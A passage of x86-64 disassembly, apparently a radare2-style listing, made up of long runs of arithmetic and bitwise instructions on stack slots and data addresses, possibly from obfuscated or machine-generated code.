mov rcx, qword [rsp + 0x9c88]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb5]
mov byte [rsp + 0x240], al
movsx eax, word [rsp + 0x13dc]
movsx ecx, word [rsp + 0x12d8]
and eax, ecx
mov rcx, qword [rsp + 0xb380]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1c0]
mov rcx, qword [rsp + 0xb950]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc900], rax
mov rax, qword [rsp + 0xa490]
mov qword [rsp + 0xc998], rax
mov rax, qword [rsp + 0x9808]
mov rcx, qword [rsp + 0xbf00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5194], eax
lea rax, [rsp + 0x5468]
mov qword [rsp + 0xc9a0], rax
movzx eax, byte [rsp + 0x84]
mov rcx, qword [rsp + 0xc270]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e70d2], al
mov rax, qword [rsp + 0xc1f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa818]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x131c], ax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa230]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1424], ax
mov rax, qword [rsp + 0xa210]
movzx eax, byte [rax]
mov byte [rsp + 0x241], al
movsx eax, byte [rsp + 0x16d]
mov rcx, qword [rsp + 0xb4a8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x12d], al
lea rax, [rsp + 0x505c]
mov qword [rsp + 0xc9a8], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa028]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x91c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5140]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5334], eax
lea rax, [rsp + 0xbdb0]
mov qword [rsp + 0xc9b0], rax
movzx eax, byte [rsp + 0xca]
movzx ecx, byte [0x1401e706e]
sub eax, ecx
mov byte [0x1401e707a], al
mov rax, qword [rsp + 0xb930]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9fc0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb218]
mov byte [rcx], al
movzx eax, word [rsp + 0x12f0]
mov word [rsp + 0x16d0], ax
mov rax, qword [0x1401e8b00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa878]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1148], ax
movzx eax, word [rsp + 0x139c]
mov word [rsp + 0x16d4], ax
mov rax, qword [rsp + 0xa578]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xc230]
idiv dword [rcx]
mov rcx, qword [rsp + 0xb368]
mov dword [rcx], eax
mov eax, dword [rsp + 0x50c8]
movzx ecx, al
mov eax, dword [rsp + 0x4cd0]
shr eax, cl
mov dword [rsp + 0x5344], eax
mov rax, qword [rsp + 0x9ef8]
mov qword [rsp + 0xc9b8], rax
mov rax, qword [rsp + 0xbb60]
mov rcx, qword [rsp + 0x9c60]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8f90], rax
lea rax, [0x1401e7150]
mov qword [0x1401e8f38], rax
lea rax, [rsp + 0x1600]
mov qword [rsp + 0xc9c0], rax
movsx eax, byte [rsp + 0x1d1]
mov rcx, qword [rsp + 0x91a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x110], al
mov rax, qword [rsp + 0xaea0]
movzx eax, byte [rax]
mov rcx, qword [0x1401e89a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb968]
mov byte [rcx], al
lea rax, [rsp + 0x1618]
mov qword [rsp + 0xc9c8], rax
mov rax, qword [rsp + 0x9c08]
mov ecx, dword [rsp + 0x4f04]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa390]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc988]
mov rax, qword [rax]
mov qword [rsp + 0xc9d0], rax
mov rax, qword [rsp + 0xb138]
mov ecx, dword [rsp + 0x512c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa480]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc570]
mov rcx, qword [rsp + 0x9798]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc038], rax
lea rax, [0x1401e8d5c]
mov qword [0x1401e8f40], rax
mov rax, qword [rsp + 0xb9a0]
movzx eax, byte [rax]
mov byte [rsp + 0x242], al
movsx eax, word [rsp + 0x1200]
movsx ecx, word [rsp + 0x151c]
sub eax, ecx
mov word [rsp + 0x12c0], ax
movzx eax, byte [rsp + 0x217]
mov byte [rsp + 0x243], al
movzx eax, word [rsp + 0x1438]
mov rcx, qword [rsp + 0xa658]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc258]
mov word [rcx], ax
mov rax, qword [rsp + 0xba90]
mov rcx, qword [rsp + 0xbbd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5148], eax
mov rax, qword [rsp + 0xaef0]
mov qword [rsp + 0xc9d8], rax
mov rax, qword [rsp + 0x9230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa308]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ec8], rax
mov rax, qword [rsp + 0xb168]
mov eax, dword [rax]
mov dword [rsp + 0x54d8], eax
mov rax, qword [rsp + 0x9908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa6f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401e89a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9528]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1158]
shl eax, cl
mov rcx, qword [rsp + 0xb1d0]
mov word [rcx], ax
movzx eax, word [rsp + 0x133c]
mov word [rsp + 0x16d8], ax
movsx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0x9d98]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xd0], al
movzx eax, byte [rsp + 0xdd]
mov rcx, qword [rsp + 0xa000]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x13d], al
mov rax, qword [rsp + 0x9808]
mov eax, dword [rax]
mov dword [rsp + 0x54dc], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x542c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb0c0]
mov rax, qword [rax]
mov qword [rsp + 0xc9e0], rax
mov rax, qword [rsp + 0xbe60]
mov rcx, qword [rsp + 0xc9d0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x91f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
movzx ecx, word [0x1401e8d10]
sub eax, ecx
mov word [0x1401e70bc], ax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbeb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x185], al
lea rax, [rsp + 0x129c]
mov qword [rsp + 0xc9e8], rax
mov rax, qword [rsp + 0xbbe0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d5], al
lea rax, [rsp + 0x1c5]
mov qword [rsp + 0xc9f0], rax
mov rax, qword [rsp + 0x9840]
mov ecx, dword [rsp + 0x4e2c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9840]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa1d0]
mov rcx, qword [rsp + 0xb090]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa3b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9200]
mov qword [rsp + 0xc9f8], rax
mov rax, qword [rsp + 0xa3c8]
mov ecx, dword [rsp + 0x5070]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x522c], eax
mov rax, qword [0x1401e8ab0]
movzx eax, byte [rax]
mov byte [rsp + 0x244], al
movsx eax, byte [rsp + 0x166]
movsx ecx, byte [rsp + 0x110]
sub eax, ecx
mov byte [0x1401e70d3], al
mov rax, qword [rsp + 0xa398]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbe68]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x12c8], ax
lea rax, [0x1401e8ea0]
mov qword [rsp + 0xca00], rax
movsx eax, byte [rsp + 0x243]
mov rcx, qword [rsp + 0x8d48]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x23e], al
mov rax, qword [rsp + 0xb640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc738]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbab8], rax
lea rax, [0x1401e7010]
mov qword [rsp + 0xca08], rax
mov eax, dword [rsp + 0x541c]
mov rcx, qword [rsp + 0x9298]
mov qword [rsp + 0xca10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4e74], eax
mov rax, qword [rsp + 0x9940]
mov eax, dword [rax]
mov dword [rsp + 0x54e0], eax
movzx eax, byte [0x1401e70b2]
movzx ecx, byte [rsp + 0x7b]
or eax, ecx
mov byte [rsp + 0x1a0], al
mov rax, qword [rsp + 0x9a80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1224]
sub eax, ecx
mov rcx, qword [0x1401e8b68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x177]
mov rcx, qword [0x1401e8a98]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbde8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ff8]
movzx eax, word [rax]
mov word [rsp + 0x16dc], ax
mov rax, qword [rsp + 0x8e18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd0]
and eax, ecx
mov byte [rsp + 0xd6], al
mov eax, dword [rsp + 0x5144]
mov dword [rsp + 0x54e4], eax
mov rax, qword [rsp + 0xb420]
mov rcx, qword [rsp + 0x9800]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fd0], rax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0xadc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb960], rax
mov eax, dword [rsp + 0x4e20]
mov dword [rsp + 0x54e8], eax
mov rax, qword [rsp + 0x90c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa8a0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov word [rcx], ax
lea rax, [rsp + 0x1314]
mov qword [0x1401e8f48], rax
movzx eax, byte [rsp + 0x11b]
mov byte [rsp + 0x245], al
mov rax, qword [0x1401e8e90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9de0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa140]
mov word [rcx], ax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0xa068]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba60]
mov byte [rcx], al
lea rax, [rsp + 0x9860]
mov qword [rsp + 0xca18], rax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0xa808]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f40], rax
lea rax, [rsp + 0x4f38]
mov qword [rsp + 0xca20], rax
mov rax, qword [rsp + 0x93d8]
mov ecx, dword [rsp + 0x5410]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x52a0], eax
lea rax, [0x1401e87e6]
mov qword [rsp + 0xca28], rax
movzx eax, word [rsp + 0x1454]
mov rcx, qword [rsp + 0xb190]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8b68]
mov word [rcx], ax
movsx eax, byte [rsp + 0xb7]
mov rcx, qword [rsp + 0xb7e8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x167], al
movzx eax, word [rsp + 0x1118]
movzx ecx, word [rsp + 0x1290]
or eax, ecx
mov rcx, qword [rsp + 0xb078]
mov word [rcx], ax
mov rax, qword [rsp + 0xb7d0]
movzx eax, word [rax]
mov word [rsp + 0x16e0], ax
movzx eax, word [rsp + 0x11b0]
mov rcx, qword [rsp + 0xa1e0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1380], ax
mov eax, dword [rsp + 0x5168]
mov dword [rsp + 0x54ec], eax
mov eax, dword [rsp + 0x5280]
mov rcx, qword [rsp + 0xbe08]
mov qword [rsp + 0xca30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca30]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5134], eax
mov rax, qword [rsp + 0xc1f0]
mov rcx, qword [rsp + 0x92f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc608]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9230]
mov rax, qword [rax]
mov qword [rsp + 0xca38], rax
movzx eax, byte [rsp + 0x18a]
mov byte [0x1401e88db], al
mov rax, qword [rsp + 0xb310]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc6], al
lea rax, [rsp + 0x14b8]
mov qword [rsp + 0xca40], rax
mov rax, qword [rsp + 0x9918]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xec]
sub eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0xbdc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
and eax, ecx
mov byte [rsp + 0x74], al
lea rax, [rsp + 0x9400]
mov qword [rsp + 0xca48], rax
mov eax, dword [rsp + 0x5050]
mov ecx, dword [rsp + 0x5088]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50bc], eax
mov rax, qword [rsp + 0xa1a8]
mov qword [rsp + 0xca50], rax
mov rax, qword [rsp + 0x9eb8]
mov ecx, dword [0x1401e7004]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbed0]
mov dword [rcx], eax
lea rax, [rsp + 0x13f0]
mov qword [0x1401e8f50], rax
mov rax, qword [rsp + 0xa110]
movzx eax, word [rax]
mov word [rsp + 0x16e4], ax
mov rax, qword [rsp + 0xafc8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8ab0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x87], al
movzx eax, word [rsp + 0x146c]
movzx ecx, word [rsp + 0x162c]
sub eax, ecx
mov word [rsp + 0x13c4], ax
mov rax, qword [rsp + 0x8fa8]
movzx eax, word [rax]
mov word [rsp + 0x16e8], ax
mov rax, qword [rsp + 0x9080]
mov rcx, qword [rsp + 0xc980]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa6d0], rax
mov rax, qword [rsp + 0xbed0]
mov eax, dword [rax]
mov dword [rsp + 0x54f0], eax
mov rax, qword [rsp + 0x98f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb38]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb2a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbf00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5368]
sar eax, cl
mov dword [rsp + 0x51ec], eax
mov rax, qword [rsp + 0xb0b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc548]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401e8930]
mov byte [rcx], al
lea rax, [rsp + 0x101c]
mov qword [rsp + 0xca58], rax
movsx eax, word [rsp + 0x139c]
mov rcx, qword [0x1401e89e0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbe68]
mov word [rcx], ax
lea rax, [rsp + 0x164]
mov qword [rsp + 0xca60], rax
mov rax, qword [rsp + 0x9690]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9190]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x189], al
mov eax, dword [rsp + 0x4eec]
mov ecx, dword [rsp + 0x533c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x535c], eax
mov eax, dword [rsp + 0x531c]
mov dword [rsp + 0x54f4], eax
mov rax, qword [rsp + 0xc6d0]
mov rcx, qword [rsp + 0xabc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb288], rax
mov rax, qword [rsp + 0xa368]
mov rax, qword [rax]
mov qword [rsp + 0xca68], rax
movsx eax, byte [rsp + 0x1ef]
mov rcx, qword [rsp + 0xac28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e70d6], al
movzx eax, byte [rsp + 0x1b0]
movzx ecx, byte [rsp + 0xbf]
sub eax, ecx
mov byte [rsp + 0x109], al
movzx eax, word [str.E_n0t]
mov rcx, qword [rsp + 0xa580]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbb58]
mov word [rcx], ax
movzx eax, word [rsp + 0x12a0]
mov word [rsp + 0x16ec], ax
mov rax, qword [rsp + 0xa698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbf38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1a0], al
lea rax, [0x1401e7004]
mov qword [rsp + 0xca70], rax
mov rax, qword [rsp + 0xa578]
mov ecx, dword [rsp + 0x547c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa458]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9680]
mov qword [rsp + 0xca78], rax
mov rax, qword [rsp + 0xa030]
mov rcx, qword [rsp + 0x9b48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbd38], rax
movsx eax, byte [rsp + 0x110]
mov rcx, qword [rsp + 0xc110]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb468]
movsx eax, word [rax]
mov rcx, qword [0x1401e8df8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1414], ax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0xca80], rax
movsx eax, byte [rsp + 0xb6]
movsx ecx, byte [rsp + 0x15f]
or eax, ecx
mov rcx, qword [rsp + 0xb2c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1410]
mov word [rsp + 0x16f0], ax
mov rax, qword [rsp + 0x9768]
movzx ecx, al
mov rax, qword [rsp + 0x9368]
sar rax, cl
mov rcx, qword [rsp + 0xb0f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xab70]
mov rcx, qword [rsp + 0xc460]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9f10]
mov dword [rcx], eax
lea rax, [rsp + 0x4e5c]
mov qword [rsp + 0xca88], rax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xc050]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc038], rax
movsx eax, word [rsp + 0x1034]
mov rcx, qword [rsp + 0x9570]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8b78]
mov word [rcx], ax
movzx eax, word [0x1401e7158]
mov word [rsp + 0x16f4], ax
mov rax, qword [rsp + 0x9b28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbeb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x138], al
movzx eax, word [rsp + 0x1258]
mov rcx, qword [rsp + 0x9110]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa310]
mov word [rcx], ax
lea rax, [rsp + 0xc5]
mov qword [rsp + 0xca90], rax
mov rax, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0x9da0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xad08], rax
lea rax, [rsp + 0x51f0]
mov qword [rsp + 0xca98], rax
mov rax, qword [rsp + 0x9a90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5424]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f24], eax
mov rax, qword [rsp + 0xc2d8]
mov rcx, qword [rsp + 0xc0c0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9db0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1058]
mov rcx, qword [rsp + 0x9a58]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e71b4], ax
movzx eax, word [rsp + 0x11f4]
mov word [rsp + 0x16f8], ax
mov rax, qword [rsp + 0xbbc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a6]
sub eax, ecx
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0xc788]
movzx eax, word [rax]
mov word [rsp + 0x16fc], ax
mov rax, qword [rsp + 0xba18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa898]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa068]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov qword [rsp + 0xcaa0], rax
mov rax, qword [rsp + 0xb368]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa1d8]
mov qword [rsp + 0xcaa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcaa8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5350], eax
mov rax, qword [rsp + 0xaf98]
mov ecx, dword [rsp + 0x53f0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x93c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc838]
mov qword [rsp + 0xcab0], rax
movsx eax, byte [rsp + 0x139]
mov rcx, qword [rsp + 0x9fc0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x143], al
mov rax, qword [0x1401e8d30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbac8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401e71b8], ax
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x246], al
movzx eax, word [rsp + 0x13e0]
movzx ecx, word [rsp + 0x125c]
and eax, ecx
mov word [rsp + 0x10e0], ax
mov rax, qword [0x1401e8f40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
add eax, ecx
mov rcx, qword [rsp + 0x95a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9af0]
mov rax, qword [rax]
mov qword [rsp + 0xcab8], rax
mov rax, qword [rsp + 0xb188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5028]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x52f0], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0xcac0], rax
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x509c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9810]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9480]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x120]
add eax, ecx
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0xaad0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1214]
sub eax, ecx
mov word [0x1401e7130], ax
movzx eax, byte [rsp + 0xb2]
mov byte [rsp + 0x247], al
movsx eax, word [rsp + 0x16cc]
movsx ecx, word [0x1401e8940]
sub eax, ecx
mov rcx, qword [rsp + 0x8f50]
mov word [rcx], ax
mov rax, qword [rsp + 0xa0c8]
movzx eax, byte [rax]
mov byte [rsp + 0x248], al
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0x9578]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc010], rax
lea rax, [rsp + 0x8e98]
mov qword [rsp + 0xcac8], rax
mov rax, qword [rsp + 0xc3f0]
mov rcx, qword [rsp + 0xb328]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x52c8], eax
mov rax, qword [rsp + 0x9178]
mov rcx, qword [rsp + 0x9530]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50c8], eax
movzx eax, word [rsp + 0x1174]
mov word [rsp + 0x1700], ax
mov rax, qword [0x1401e8a30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb0b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401e8808]
mov byte [rcx], al
movzx eax, word [rsp + 0x1278]
movzx ecx, word [rsp + 0x1064]
sar eax, cl
mov word [rsp + 0x16b0], ax
lea rax, [rsp + 0x1b5]
mov qword [rsp + 0xcad0], rax
mov rax, qword [rsp + 0x90e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9eb0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1264], ax
mov rax, qword [rsp + 0xbca0]
mov rcx, qword [rsp + 0xa4d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0x9408]
mov eax, dword [rax]
mov dword [rsp + 0x54f8], eax
mov rax, qword [rsp + 0x9a00]
mov rcx, qword [rsp + 0xcaa0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xae60], rax
mov eax, dword [rsp + 0x54c0]
mov dword [rsp + 0x54fc], eax
mov rax, qword [rsp + 0xaf58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9fa8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9998]
mov byte [rcx], al
mov rax, qword [rsp + 0xc8b0]
movzx eax, word [rax]
mov word [0x1401e8f58], ax
mov rax, qword [rsp + 0x8dd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb660]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1468], ax
mov rax, qword [rsp + 0xac88]
movzx eax, byte [rax]
mov byte [rsp + 0x249], al
movsx eax, byte [rsp + 0x97]
movsx ecx, byte [rsp + 0x1f2]
sub eax, ecx
mov rcx, qword [rsp + 0xafb8]
mov byte [rcx], al
lea rax, [rsp + 0x102c]
mov qword [rsp + 0xcad8], rax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0xc828]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9980], rax
mov rax, qword [rsp + 0xc1f0]
mov rcx, qword [rsp + 0x9170]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa8d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa138]
mov eax, dword [rax]
mov dword [rsp + 0x5500], eax
mov rax, qword [rsp + 0xab98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x516c], eax
movsx eax, word [rsp + 0x1318]
mov rcx, qword [rsp + 0xbfd0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e71bc], ax
mov rax, qword [rsp + 0x8bf8]
movzx eax, byte [rax]
mov byte [rsp + 0x24a], al
mov rax, qword [rsp + 0x9830]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8a08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbb], al
lea rax, [rsp + 0x1674]
mov qword [rsp + 0xcae0], rax
mov rax, qword [rsp + 0x9b90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
and eax, ecx
mov rcx, qword [rsp + 0x90a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc7f0]
mov rcx, qword [rsp + 0xae00]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa478], rax
lea rax, [rsp + 0x50b8]
mov qword [rsp + 0xcae8], rax
mov eax, dword [rsp + 0x4e54]
movzx ecx, al
mov eax, dword [rsp + 0x4e3c]
shl eax, cl
mov rcx, qword [rsp + 0xa098]
mov dword [rcx], eax
mov rax, qword [0x1401e7018]
mov qword [rsp + 0xcaf0], rax
movsx eax, word [rsp + 0x16bc]
mov rcx, qword [rsp + 0x9278]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401e70ac], ax
movsx eax, byte [rsp + 0x234]
movsx ecx, byte [rsp + 0x111]
sar eax, cl
mov byte [rsp + 0x159], al
movzx eax, word [0x1401e89f8]
mov rcx, qword [rsp + 0xca58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1204], ax
lea rax, [rsp + 0x1448]
mov qword [rsp + 0xcaf8], rax
movsx eax, byte [rsp + 0x1cb]
movsx ecx, byte [rsp + 0xd8]
sub eax, ecx
mov byte [rsp + 0xb7], al
lea rax, section..data
mov qword [rsp + 0xcb00], rax
mov rax, qword [rsp + 0x98f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb040]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6d8], rax
mov eax, dword [rsp + 0x4e54]
mov ecx, dword [rsp + 0x5158]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac30]
mov dword [rcx], eax
lea rax, [rsp + 0xb0a0]
mov qword [rsp + 0xcb08], rax
lea rax, [rsp + 0x176]
mov qword [0x1401e8f60], rax
mov rax, qword [rsp + 0xa598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb70]
movzx ecx, byte [rcx]
sub eax, ecx
